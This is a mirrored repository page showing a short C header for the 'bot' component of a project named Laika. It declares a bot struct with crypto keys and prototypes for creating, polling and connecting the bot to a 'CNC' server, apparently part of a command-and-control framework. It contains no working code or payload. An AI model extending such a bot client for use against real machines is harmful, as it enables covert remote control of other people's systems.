mirror of
https://github.com/CPunch/Laika.git
synced 2024-11-22 04:50:06 +00:00
CPunch
a023929190
- test keys are defined in laika.h - bug fixes & refactoring with laikaM_growarray()
23 lines
602 B
C
23 lines
602 B
C
#ifndef LAIKA_BOT_H
|
|
#define LAIKA_BOT_H
|
|
|
|
#include "laika.h"
|
|
#include "lpacket.h"
|
|
#include "lsocket.h"
|
|
#include "lpeer.h"
|
|
#include "lpolllist.h"
|
|
#include "lrsa.h"
|
|
|
|
struct sLaika_bot {
|
|
uint8_t priv[crypto_box_SECRETKEYBYTES], pub[crypto_box_PUBLICKEYBYTES], nonce[LAIKA_NONCESIZE];
|
|
struct sLaika_pollList pList;
|
|
struct sLaika_peer *peer;
|
|
};
|
|
|
|
struct sLaika_bot *laikaB_newBot(void);
|
|
void laikaB_freeBot(struct sLaika_bot *bot);
|
|
|
|
void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port); /* can throw a LAIKA_ERROR */
|
|
bool laikaB_poll(struct sLaika_bot *bot, int timeout);
|
|
|
|
#endif |